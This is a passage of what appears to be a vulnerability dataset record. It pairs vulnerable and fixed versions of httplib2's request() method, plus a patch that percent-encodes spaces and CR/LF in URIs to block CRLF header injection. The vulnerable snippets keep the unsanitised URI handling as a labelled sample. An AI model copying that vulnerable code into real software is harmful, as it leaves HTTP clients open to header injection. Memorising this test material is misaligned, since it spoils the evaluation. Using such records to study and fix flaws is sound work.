Content-Location\n            # when a non-error status code is received in response to an unsafe request method.\n            if self.cache and cachekey and method not in self.safe_methods:\n                self.cache.delete(cachekey)\n\n            # Check the vary header in the cache to see if this request\n            # matches what varies in the cache.\n            if method in self.safe_methods and \"vary\" in info:\n                vary = info[\"vary\"]\n                vary_headers = vary.lower().replace(\" \", \"\").split(\",\")\n                for header in vary_headers:\n                    key = \"-varied-%s\" % header\n                    value = info[key]\n                    if headers.get(header, None) != value:\n                        cached_value = None\n                        break\n\n            if (\n                self.cache\n                and cached_value\n                and (method in self.safe_methods or info[\"status\"] == \"308\")\n                and \"range\" not in headers\n            ):\n                redirect_method = method\n                if info[\"status\"] not in (\"307\", \"308\"):\n                    redirect_method = \"GET\"\n                if \"-x-permanent-redirect-url\" in info:\n                    # Should cached permanent redirects be counted in our redirection count? For now, yes.\n                    if redirections <= 0:\n                        raise RedirectLimit(\n                            \"Redirected more times than rediection_limit allows.\",\n                            {},\n                            \"\",\n                        )\n                    (response, new_content) = self.request(\n                        info[\"-x-permanent-redirect-url\"],\n                        method=redirect_method,\n                        headers=headers,\n                        redirections=redirections - 1,\n                    )\n                    response.previous = Response(info)\n                    response.previous.fromcache = True\n                else:\n                    # Determine our course of action:\n                    #   Is the cached entry fresh or stale?\n                    #   Has the client requested a non-cached response?\n                    #\n                    # There seems to be three possible answers:\n                    # 1. [FRESH] Return the cache entry w/o doing a GET\n                    # 2. [STALE] Do the GET (but add in cache validators if available)\n                    # 3. [TRANSPARENT] Do a GET w/o any cache validators (Cache-Control: no-cache) on the request\n                    entry_disposition = _entry_disposition(info, headers)\n\n                    if entry_disposition == \"FRESH\":\n                        if not cached_value:\n                            info[\"status\"] = \"504\"\n                            content = \"\"\n                        response = Response(info)\n                        if cached_value:\n                            response.fromcache = True\n                        return (response, content)\n\n                    if entry_disposition == \"STALE\":\n                        if (\n                            \"etag\" in info\n                            and not self.ignore_etag\n                            and not \"if-none-match\" in headers\n                        ):\n                            headers[\"if-none-match\"] = info[\"etag\"]\n                        if \"last-modified\" in info and not \"last-modified\" in headers:\n                            headers[\"if-modified-since\"] = info[\"last-modified\"]\n                    elif entry_disposition == \"TRANSPARENT\":\n                        pass\n\n                    (response, new_content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n\n                if response.status == 304 and method == \"GET\":\n                    # Rewrite the cache entry with the new end-to-end headers\n                    # Take all headers that are in response\n                    # and overwrite their values in info.\n                    # unless they are hop-by-hop, or are listed in the connection header.\n\n                    for key in _get_end2end_headers(response):\n                        info[key] = response[key]\n                    merged_response = Response(info)\n                    if hasattr(response, \"_stale_digest\"):\n                        merged_response._stale_digest = response._stale_digest\n                    _updateCache(\n                        headers, merged_response, content, self.cache, cachekey\n                    )\n                    response = merged_response\n                    response.status = 200\n                    response.fromcache = True\n\n                elif response.status == 200:\n                    content = new_content\n                else:\n                    self.cache.delete(cachekey)\n                    content = new_content\n            else:\n                cc = _parse_cache_control(headers)\n                if \"only-if-cached\" in cc:\n                    info[\"status\"] = \"504\"\n                    response = Response(info)\n                    content = \"\"\n                else:\n                    (response, content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n        except Exception as e:\n            is_timeout = isinstance(e, socket.timeout)\n            if is_timeout:\n                conn = self.connections.pop(conn_key, None)\n                if conn:\n                    conn.close()\n\n            if self.force_exception_to_status_code:\n                if isinstance(e, HttpLib2ErrorWithResponse):\n                    response = e.response\n                    content = e.content\n                    response.status = 500\n                    response.reason = str(e)\n                elif is_timeout:\n                    content = \"Request Timeout\"\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"408\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Request Timeout\"\n                else:\n                    content = str(e)\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"400\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Bad Request\"\n            else:\n                raise\n\n        return (response, content)"}, {"id": "vul_py_157_2", "commit": "9413ffc", "file_path": "python3/httplib2/__init__.py", "start_line": 1752, "end_line": 2029, "snippet": "    def request(\n        self,\n        uri,\n        method=\"GET\",\n        body=None,\n        headers=None,\n        redirections=DEFAULT_MAX_REDIRECTS,\n        connection_type=None,\n    ):\n        \"\"\" Performs a single HTTP request.\nThe 'uri' is the URI of the HTTP resource and can begin\nwith either 'http' or 'https'. The value of 'uri' must be an absolute URI.\n\nThe 'method' is the HTTP method to perform, such as GET, POST, DELETE, etc.\nThere is no restriction on the methods allowed.\n\nThe 'body' is the entity body to be sent with the request. It is a string\nobject.\n\nAny extra headers that are to be sent with the request should be provided in the\n'headers' dictionary.\n\nThe maximum number of redirect to follow before raising an\nexception is 'redirections. The default is 5.\n\nThe return value is a tuple of (response, content), the first\nbeing and instance of the 'Response' class, the second being\na string that contains the response entity body.\n        \"\"\"\n        conn_key = ''\n\n        try:\n            if headers is None:\n                headers = {}\n            else:\n                headers = self._normalize_headers(headers)\n\n            if \"user-agent\" not in headers:\n                headers[\"user-agent\"] = \"Python-httplib2/%s (gzip)\" % __version__\n\n            uri = iri2uri(uri)\n\n            (scheme, authority, request_uri, defrag_uri) = urlnorm(uri)\n\n            conn_key = scheme + \":\" + authority\n            conn = self.connections.get(conn_key)\n            if conn is None:\n                if not connection_type:\n                    connection_type = SCHEME_TO_CONNECTION[scheme]\n                certs = list(self.certificates.iter(authority))\n                if issubclass(connection_type, HTTPSConnectionWithTimeout):\n                    if certs:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            key_file=certs[0][0],\n                            cert_file=certs[0][1],\n                            timeout=self.timeout,\n                            proxy_info=self.proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            tls_maximum_version=self.tls_maximum_version,\n                            tls_minimum_version=self.tls_minimum_version,\n                            key_password=certs[0][2],\n                        )\n                    else:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            timeout=self.timeout,\n                            proxy_info=self.proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            tls_maximum_version=self.tls_maximum_version,\n                            tls_minimum_version=self.tls_minimum_version,\n                        )\n                else:\n                    conn = self.connections[conn_key] = connection_type(\n                        authority, timeout=self.timeout, proxy_info=self.proxy_info\n                    )\n                conn.set_debuglevel(debuglevel)\n\n            if \"range\" not in headers and \"accept-encoding\" not in headers:\n                headers[\"accept-encoding\"] = \"gzip, deflate\"\n\n            info = email.message.Message()\n            cachekey = None\n            cached_value = None\n            if self.cache:\n                cachekey = defrag_uri\n                cached_value = self.cache.get(cachekey)\n                if cached_value:\n                    try:\n                        info, content = cached_value.split(b\"\\r\\n\\r\\n\", 1)\n                        info = email.message_from_bytes(info)\n                        for k, v in info.items():\n                            if v.startswith(\"=?\") and v.endswith(\"?=\"):\n                                info.replace_header(\n                                    k, str(*email.header.decode_header(v)[0])\n                                )\n                    except (IndexError, ValueError):\n                        self.cache.delete(cachekey)\n                        cachekey = None\n                        cached_value = None\n\n            if (\n                method in self.optimistic_concurrency_methods\n                and self.cache\n                and \"etag\" in info\n                and not self.ignore_etag\n                and \"if-match\" not in headers\n            ):\n                # http://www.w3.org/1999/04/Editing/\n                headers[\"if-match\"] = info[\"etag\"]\n\n            # https://tools.ietf.org/html/rfc7234\n            # A cache MUST invalidate the effective Request URI as well as [...] Location and Content-Location\n            # when a non-error status code is received in response to an unsafe request method.\n            if self.cache and cachekey and method not in self.safe_methods:\n                self.cache.delete(cachekey)\n\n            # Check the vary header in the cache to see if this request\n            # matches what varies in the cache.\n            if method in self.safe_methods and \"vary\" in info:\n                vary = info[\"vary\"]\n                vary_headers = vary.lower().replace(\" \", \"\").split(\",\")\n                for header in vary_headers:\n                    key = \"-varied-%s\" % header\n                    value = info[key]\n                    if headers.get(header, None) != value:\n                        cached_value = None\n                        break\n\n            if (\n                self.cache\n                and cached_value\n                and (method in self.safe_methods or info[\"status\"] == \"308\")\n                and \"range\" not in headers\n            ):\n                redirect_method = method\n                if info[\"status\"] not in (\"307\", \"308\"):\n                    redirect_method = \"GET\"\n                if \"-x-permanent-redirect-url\" in info:\n                    # Should cached permanent redirects be counted in our redirection count? For now, yes.\n                    if redirections <= 0:\n                        raise RedirectLimit(\n                            \"Redirected more times than redirection_limit allows.\",\n                            {},\n                            \"\",\n                        )\n                    (response, new_content) = self.request(\n                        info[\"-x-permanent-redirect-url\"],\n                        method=redirect_method,\n                        headers=headers,\n                        redirections=redirections - 1,\n                    )\n                    response.previous = Response(info)\n                    response.previous.fromcache = True\n                else:\n                    # Determine our course of action:\n                    #   Is the cached entry fresh or stale?\n                    #   Has the client requested a non-cached response?\n                    #\n                    # There seems to be three possible answers:\n                    # 1. [FRESH] Return the cache entry w/o doing a GET\n                    # 2. [STALE] Do the GET (but add in cache validators if available)\n                    # 3. [TRANSPARENT] Do a GET w/o any cache validators (Cache-Control: no-cache) on the request\n                    entry_disposition = _entry_disposition(info, headers)\n\n                    if entry_disposition == \"FRESH\":\n                        if not cached_value:\n                            info[\"status\"] = \"504\"\n                            content = b\"\"\n                        response = Response(info)\n                        if cached_value:\n                            response.fromcache = True\n                        return (response, content)\n\n                    if entry_disposition == \"STALE\":\n                        if (\n                            \"etag\" in info\n                            and not self.ignore_etag\n                            and not \"if-none-match\" in headers\n                        ):\n                            headers[\"if-none-match\"] = info[\"etag\"]\n                        if \"last-modified\" in info and not \"last-modified\" in headers:\n                            headers[\"if-modified-since\"] = info[\"last-modified\"]\n                    elif entry_disposition == \"TRANSPARENT\":\n                        pass\n\n                    (response, new_content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n\n                if response.status == 304 and method == \"GET\":\n                    # Rewrite the cache entry with the new end-to-end headers\n                    # Take all headers that are in response\n                    # and overwrite their values in info.\n                    # unless they are hop-by-hop, or are listed in the connection header.\n\n                    for key in _get_end2end_headers(response):\n                        info[key] = response[key]\n                    merged_response = Response(info)\n                    if hasattr(response, \"_stale_digest\"):\n                        merged_response._stale_digest = response._stale_digest\n                    _updateCache(\n                        headers, merged_response, content, self.cache, cachekey\n                    )\n                    response = merged_response\n                    response.status = 200\n                    response.fromcache = True\n\n                elif response.status == 200:\n                    content = new_content\n                else:\n                    self.cache.delete(cachekey)\n                    content = new_content\n            else:\n                cc = _parse_cache_control(headers)\n                if \"only-if-cached\" in cc:\n                    info[\"status\"] = \"504\"\n                    response = Response(info)\n                    content = b\"\"\n                else:\n                    (response, content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n        except Exception as e:\n            is_timeout = isinstance(e, socket.timeout)\n            if is_timeout:\n                conn = self.connections.pop(conn_key, None)\n                if conn:\n                    conn.close()\n\n            if self.force_exception_to_status_code:\n                if isinstance(e, HttpLib2ErrorWithResponse):\n                    response = e.response\n                    content = e.content\n                    response.status = 500\n                    response.reason = str(e)\n                elif isinstance(e, socket.timeout):\n                    content = b\"Request Timeout\"\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"408\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Request Timeout\"\n                else:\n                    content = str(e).encode(\"utf-8\")\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"400\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Bad Request\"\n            else:\n                raise\n\n        return (response, content)"}], "fix_func": [{"id": "fix_py_157_1", "commit": "a1457cc", "file_path": "python2/httplib2/__init__.py", "start_line": 1946, "end_line": 2230, "snippet": "    def request(\n        self,\n        uri,\n        method=\"GET\",\n        body=None,\n        headers=None,\n        redirections=DEFAULT_MAX_REDIRECTS,\n        connection_type=None,\n    ):\n        \"\"\" Performs a single HTTP request.\n\n        The 'uri' is the URI of the HTTP resource and can begin with either\n        'http' or 'https'. The value of 'uri' must be an absolute URI.\n\n        The 'method' is the HTTP method to perform, such as GET, POST, DELETE,\n        etc. There is no restriction on the methods allowed.\n\n        The 'body' is the entity body to be sent with the request. It is a\n        string object.\n\n        Any extra headers that are to be sent with the request should be\n        provided in the 'headers' dictionary.\n\n        The maximum number of redirect to follow before raising an\n        exception is 'redirections. The default is 5.\n\n        The return value is a tuple of (response, content), the first\n        being and instance of the 'Response' class, the second being\n        a string that contains the response entity body.\n        \"\"\"\n        conn_key = ''\n\n        try:\n            if headers is None:\n                headers = {}\n            else:\n                headers = self._normalize_headers(headers)\n\n            if \"user-agent\" not in headers:\n                headers[\"user-agent\"] = \"Python-httplib2/%s (gzip)\" % __version__\n\n            uri = iri2uri(uri)\n            # Prevent CWE-75 space injection to manipulate request via part of uri.\n            # Prevent CWE-93 CRLF injection to modify headers via part of uri.\n            uri = uri.replace(\" \", \"%20\").replace(\"\\r\", \"%0D\").replace(\"\\n\", \"%0A\")\n\n            (scheme, authority, request_uri, defrag_uri) = urlnorm(uri)\n\n            proxy_info = self._get_proxy_info(scheme, authority)\n\n            conn_key = scheme + \":\" + authority\n            conn = self.connections.get(conn_key)\n            if conn is None:\n                if not connection_type:\n                    connection_type = SCHEME_TO_CONNECTION[scheme]\n                certs = list(self.certificates.iter(authority))\n                if scheme == \"https\":\n                    if certs:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            key_file=certs[0][0],\n                            cert_file=certs[0][1],\n                            timeout=self.timeout,\n                            proxy_info=proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            ssl_version=self.ssl_version,\n                            key_password=certs[0][2],\n                        )\n                    else:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            timeout=self.timeout,\n                            proxy_info=proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            ssl_version=self.ssl_version,\n                        )\n                else:\n                    conn = self.connections[conn_key] = connection_type(\n                        authority, timeout=self.timeout, proxy_info=proxy_info\n                    )\n                conn.set_debuglevel(debuglevel)\n\n            if \"range\" not in headers and \"accept-encoding\" not in headers:\n                headers[\"accept-encoding\"] = \"gzip, deflate\"\n\n            info = email.Message.Message()\n            cachekey = None\n            cached_value = None\n            if self.cache:\n                cachekey = defrag_uri.encode(\"utf-8\")\n                cached_value = self.cache.get(cachekey)\n                if cached_value:\n                    # info = email.message_from_string(cached_value)\n                    #\n                    # Need to replace the line above with the kludge below\n                    # to fix the non-existent bug not fixed in this\n                    # bug report: http://mail.python.org/pipermail/python-bugs-list/2005-September/030289.html\n                    try:\n                        info, content = cached_value.split(\"\\r\\n\\r\\n\", 1)\n                        feedparser = email.FeedParser.FeedParser()\n                        feedparser.feed(info)\n                        info = feedparser.close()\n                        feedparser._parse = None\n                    except (IndexError, ValueError):\n                        self.cache.delete(cachekey)\n                        cachekey = None\n                        cached_value = None\n\n            if (\n                method in self.optimistic_concurrency_methods\n                and self.cache\n                and \"etag\" in info\n                and not self.ignore_etag\n                and \"if-match\" not in headers\n            ):\n                # http://www.w3.org/1999/04/Editing/\n                headers[\"if-match\"] = info[\"etag\"]\n\n            # https://tools.ietf.org/html/rfc7234\n            # A cache MUST invalidate the effective Request URI as well as [...] Location and Content-Location\n            # when a non-error status code is received in response to an unsafe request method.\n            if self.cache and cachekey and method not in self.safe_methods:\n                self.cache.delete(cachekey)\n\n            # Check the vary header in the cache to see if this request\n            # matches what varies in the cache.\n            if method in self.safe_methods and \"vary\" in info:\n                vary = info[\"vary\"]\n                vary_headers = vary.lower().replace(\" \", \"\").split(\",\")\n                for header in vary_headers:\n                    key = \"-varied-%s\" % header\n                    value = info[key]\n                    if headers.get(header, None) != value:\n                        cached_value = None\n                        break\n\n            if (\n                self.cache\n                and cached_value\n                and (method in self.safe_methods or info[\"status\"] == \"308\")\n                and \"range\" not in headers\n            ):\n                redirect_method = method\n                if info[\"status\"] not in (\"307\", \"308\"):\n                    redirect_method = \"GET\"\n                if \"-x-permanent-redirect-url\" in info:\n                    # Should cached permanent redirects be counted in our redirection count? For now, yes.\n                    if redirections <= 0:\n                        raise RedirectLimit(\n                            \"Redirected more times than rediection_limit allows.\",\n                            {},\n                            \"\",\n                        )\n                    (response, new_content) = self.request(\n                        info[\"-x-permanent-redirect-url\"],\n                        method=redirect_method,\n                        headers=headers,\n                        redirections=redirections - 1,\n                    )\n                    response.previous = Response(info)\n                    response.previous.fromcache = True\n                else:\n                    # Determine our course of action:\n                    #   Is the cached entry fresh or stale?\n                    #   Has the client requested a non-cached response?\n                    #\n                    # There seems to be three possible answers:\n                    # 1. [FRESH] Return the cache entry w/o doing a GET\n                    # 2. [STALE] Do the GET (but add in cache validators if available)\n                    # 3. [TRANSPARENT] Do a GET w/o any cache validators (Cache-Control: no-cache) on the request\n                    entry_disposition = _entry_disposition(info, headers)\n\n                    if entry_disposition == \"FRESH\":\n                        if not cached_value:\n                            info[\"status\"] = \"504\"\n                            content = \"\"\n                        response = Response(info)\n                        if cached_value:\n                            response.fromcache = True\n                        return (response, content)\n\n                    if entry_disposition == \"STALE\":\n                        if (\n                            \"etag\" in info\n                            and not self.ignore_etag\n                            and not \"if-none-match\" in headers\n                        ):\n                            headers[\"if-none-match\"] = info[\"etag\"]\n                        if \"last-modified\" in info and not \"last-modified\" in headers:\n                            headers[\"if-modified-since\"] = info[\"last-modified\"]\n                    elif entry_disposition == \"TRANSPARENT\":\n                        pass\n\n                    (response, new_content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n\n                if response.status == 304 and method == \"GET\":\n                    # Rewrite the cache entry with the new end-to-end headers\n                    # Take all headers that are in response\n                    # and overwrite their values in info.\n                    # unless they are hop-by-hop, or are listed in the connection header.\n\n                    for key in _get_end2end_headers(response):\n                        info[key] = response[key]\n                    merged_response = Response(info)\n                    if hasattr(response, \"_stale_digest\"):\n                        merged_response._stale_digest = response._stale_digest\n                    _updateCache(\n                        headers, merged_response, content, self.cache, cachekey\n                    )\n                    response = merged_response\n                    response.status = 200\n                    response.fromcache = True\n\n                elif response.status == 200:\n                    content = new_content\n                else:\n                    self.cache.delete(cachekey)\n                    content = new_content\n            else:\n                cc = _parse_cache_control(headers)\n                if \"only-if-cached\" in cc:\n                    info[\"status\"] = \"504\"\n                    response = Response(info)\n                    content = \"\"\n                else:\n                    (response, content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n        except Exception as e:\n            is_timeout = isinstance(e, socket.timeout)\n            if is_timeout:\n                conn = self.connections.pop(conn_key, None)\n                if conn:\n                    conn.close()\n\n            if self.force_exception_to_status_code:\n                if isinstance(e, HttpLib2ErrorWithResponse):\n                    response = e.response\n                    content = e.content\n                    response.status = 500\n                    response.reason = str(e)\n                elif is_timeout:\n                    content = \"Request Timeout\"\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"408\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Request Timeout\"\n                else:\n                    content = str(e)\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"400\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Bad Request\"\n            else:\n                raise\n\n        return (response, content)"}, {"id": "fix_py_157_2", "commit": "a1457cc", "file_path": "python3/httplib2/__init__.py", "start_line": 1752, "end_line": 2032, "snippet": "    def request(\n        self,\n        uri,\n        method=\"GET\",\n        body=None,\n        headers=None,\n        redirections=DEFAULT_MAX_REDIRECTS,\n        connection_type=None,\n    ):\n        \"\"\" Performs a single HTTP request.\nThe 'uri' is the URI of the HTTP resource and can begin\nwith either 'http' or 'https'. The value of 'uri' must be an absolute URI.\n\nThe 'method' is the HTTP method to perform, such as GET, POST, DELETE, etc.\nThere is no restriction on the methods allowed.\n\nThe 'body' is the entity body to be sent with the request. It is a string\nobject.\n\nAny extra headers that are to be sent with the request should be provided in the\n'headers' dictionary.\n\nThe maximum number of redirect to follow before raising an\nexception is 'redirections. The default is 5.\n\nThe return value is a tuple of (response, content), the first\nbeing and instance of the 'Response' class, the second being\na string that contains the response entity body.\n        \"\"\"\n        conn_key = ''\n\n        try:\n            if headers is None:\n                headers = {}\n            else:\n                headers = self._normalize_headers(headers)\n\n            if \"user-agent\" not in headers:\n                headers[\"user-agent\"] = \"Python-httplib2/%s (gzip)\" % __version__\n\n            uri = iri2uri(uri)\n            # Prevent CWE-75 space injection to manipulate request via part of uri.\n            # Prevent CWE-93 CRLF injection to modify headers via part of uri.\n            uri = uri.replace(\" \", \"%20\").replace(\"\\r\", \"%0D\").replace(\"\\n\", \"%0A\")\n\n            (scheme, authority, request_uri, defrag_uri) = urlnorm(uri)\n\n            conn_key = scheme + \":\" + authority\n            conn = self.connections.get(conn_key)\n            if conn is None:\n                if not connection_type:\n                    connection_type = SCHEME_TO_CONNECTION[scheme]\n                certs = list(self.certificates.iter(authority))\n                if issubclass(connection_type, HTTPSConnectionWithTimeout):\n                    if certs:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            key_file=certs[0][0],\n                            cert_file=certs[0][1],\n                            timeout=self.timeout,\n                            proxy_info=self.proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            tls_maximum_version=self.tls_maximum_version,\n                            tls_minimum_version=self.tls_minimum_version,\n                            key_password=certs[0][2],\n                        )\n                    else:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            timeout=self.timeout,\n                            proxy_info=self.proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            tls_maximum_version=self.tls_maximum_version,\n                            tls_minimum_version=self.tls_minimum_version,\n                        )\n                else:\n                    conn = self.connections[conn_key] = connection_type(\n                        authority, timeout=self.timeout, proxy_info=self.proxy_info\n                    )\n                conn.set_debuglevel(debuglevel)\n\n            if \"range\" not in headers and \"accept-encoding\" not in headers:\n                headers[\"accept-encoding\"] = \"gzip, deflate\"\n\n            info = email.message.Message()\n            cachekey = None\n            cached_value = None\n            if self.cache:\n                cachekey = defrag_uri\n                cached_value = self.cache.get(cachekey)\n                if cached_value:\n                    try:\n                        info, content = cached_value.split(b\"\\r\\n\\r\\n\", 1)\n                        info = email.message_from_bytes(info)\n                        for k, v in info.items():\n                            if v.startswith(\"=?\") and v.endswith(\"?=\"):\n                                info.replace_header(\n                                    k, str(*email.header.decode_header(v)[0])\n                                )\n                    except (IndexError, ValueError):\n                        self.cache.delete(cachekey)\n                        cachekey = None\n                        cached_value = None\n\n            if (\n                method in self.optimistic_concurrency_methods\n                and self.cache\n                and \"etag\" in info\n                and not self.ignore_etag\n                and \"if-match\" not in headers\n            ):\n                # http://www.w3.org/1999/04/Editing/\n                headers[\"if-match\"] = info[\"etag\"]\n\n            # https://tools.ietf.org/html/rfc7234\n            # A cache MUST invalidate the effective Request URI as well as [...] Location and Content-Location\n            # when a non-error status code is received in response to an unsafe request method.\n            if self.cache and cachekey and method not in self.safe_methods:\n                self.cache.delete(cachekey)\n\n            # Check the vary header in the cache to see if this request\n            # matches what varies in the cache.\n            if method in self.safe_methods and \"vary\" in info:\n                vary = info[\"vary\"]\n                vary_headers = vary.lower().replace(\" \", \"\").split(\",\")\n                for header in vary_headers:\n                    key = \"-varied-%s\" % header\n                    value = info[key]\n                    if headers.get(header, None) != value:\n                        cached_value = None\n                        break\n\n            if (\n                self.cache\n                and cached_value\n                and (method in self.safe_methods or info[\"status\"] == \"308\")\n                and \"range\" not in headers\n            ):\n                redirect_method = method\n                if info[\"status\"] not in (\"307\", \"308\"):\n                    redirect_method = \"GET\"\n                if \"-x-permanent-redirect-url\" in info:\n                    # Should cached permanent redirects be counted in our redirection count? For now, yes.\n                    if redirections <= 0:\n                        raise RedirectLimit(\n                            \"Redirected more times than redirection_limit allows.\",\n                            {},\n                            \"\",\n                        )\n                    (response, new_content) = self.request(\n                        info[\"-x-permanent-redirect-url\"],\n                        method=redirect_method,\n                        headers=headers,\n                        redirections=redirections - 1,\n                    )\n                    response.previous = Response(info)\n                    response.previous.fromcache = True\n                else:\n                    # Determine our course of action:\n                    #   Is the cached entry fresh or stale?\n                    #   Has the client requested a non-cached response?\n                    #\n                    # There seems to be three possible answers:\n                    # 1. [FRESH] Return the cache entry w/o doing a GET\n                    # 2. [STALE] Do the GET (but add in cache validators if available)\n                    # 3. [TRANSPARENT] Do a GET w/o any cache validators (Cache-Control: no-cache) on the request\n                    entry_disposition = _entry_disposition(info, headers)\n\n                    if entry_disposition == \"FRESH\":\n                        if not cached_value:\n                            info[\"status\"] = \"504\"\n                            content = b\"\"\n                        response = Response(info)\n                        if cached_value:\n                            response.fromcache = True\n                        return (response, content)\n\n                    if entry_disposition == \"STALE\":\n                        if (\n                            \"etag\" in info\n                            and not self.ignore_etag\n                            and not \"if-none-match\" in headers\n                        ):\n                            headers[\"if-none-match\"] = info[\"etag\"]\n                        if \"last-modified\" in info and not \"last-modified\" in headers:\n                            headers[\"if-modified-since\"] = info[\"last-modified\"]\n                    elif entry_disposition == \"TRANSPARENT\":\n                        pass\n\n                    (response, new_content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n\n                if response.status == 304 and method == \"GET\":\n                    # Rewrite the cache entry with the new end-to-end headers\n                    # Take all headers that are in response\n                    # and overwrite their values in info.\n                    # unless they are hop-by-hop, or are listed in the connection header.\n\n                    for key in _get_end2end_headers(response):\n                        info[key] = response[key]\n                    merged_response = Response(info)\n                    if hasattr(response, \"_stale_digest\"):\n                        merged_response._stale_digest = response._stale_digest\n                    _updateCache(\n                        headers, merged_response, content, self.cache, cachekey\n                    )\n                    response = merged_response\n                    response.status = 200\n                    response.fromcache = True\n\n                elif response.status == 200:\n                    content = new_content\n                else:\n                    self.cache.delete(cachekey)\n                    content = new_content\n            else:\n                cc = _parse_cache_control(headers)\n                if \"only-if-cached\" in cc:\n                    info[\"status\"] = \"504\"\n                    response = Response(info)\n                    content = b\"\"\n                else:\n                    (response, content) = self._request(\n                        conn,\n                        authority,\n                        uri,\n                        request_uri,\n                        method,\n                        body,\n                        headers,\n                        redirections,\n                        cachekey,\n                    )\n        except Exception as e:\n            is_timeout = isinstance(e, socket.timeout)\n            if is_timeout:\n                conn = self.connections.pop(conn_key, None)\n                if conn:\n                    conn.close()\n\n            if self.force_exception_to_status_code:\n                if isinstance(e, HttpLib2ErrorWithResponse):\n                    response = e.response\n                    content = e.content\n                    response.status = 500\n                    response.reason = str(e)\n                elif isinstance(e, socket.timeout):\n                    content = b\"Request Timeout\"\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"408\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Request Timeout\"\n                else:\n                    content = str(e).encode(\"utf-8\")\n                    response = Response(\n                        {\n                            \"content-type\": \"text/plain\",\n                            \"status\": \"400\",\n                            \"content-length\": len(content),\n                        }\n                    )\n                    response.reason = \"Bad Request\"\n            else:\n                raise\n\n        return (response, content)"}], "vul_patch": "--- a/python2/httplib2/__init__.py\n+++ b/python2/httplib2/__init__.py\n@@ -40,6 +40,9 @@\n                 headers[\"user-agent\"] = \"Python-httplib2/%s (gzip)\" % __version__\n \n             uri = iri2uri(uri)\n+            # Prevent CWE-75 space injection to manipulate request via part of uri.\n+            # Prevent CWE-93 CRLF injection to modify headers via part of uri.\n+            uri = uri.replace(\" \", \"%20\").replace(\"\\r\", \"%0D\").replace(\"\\n\", \"%0A\")\n \n             (scheme, authority, request_uri, defrag_uri) = urlnorm(uri)\n \n\n--- a/python3/httplib2/__init__.py\n+++ b/python3/httplib2/__init__.py\n@@ -39,6 +39,9 @@\n                 headers[\"user-agent\"] = \"Python-httplib2/%s (gzip)\" % __version__\n \n             uri = iri2uri(uri)\n+            # Prevent CWE-75 space injection to manipulate request via part of uri.\n+            # Prevent CWE-93 CRLF injection to modify headers via part of uri.\n+            uri = uri.replace(\" \", \"%20\").replace(\"\\r\", \"%0D\").replace(\"\\n\", \"%0A\")\n \n             (scheme, authority, request_uri, defrag_uri) = urlnorm(uri)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
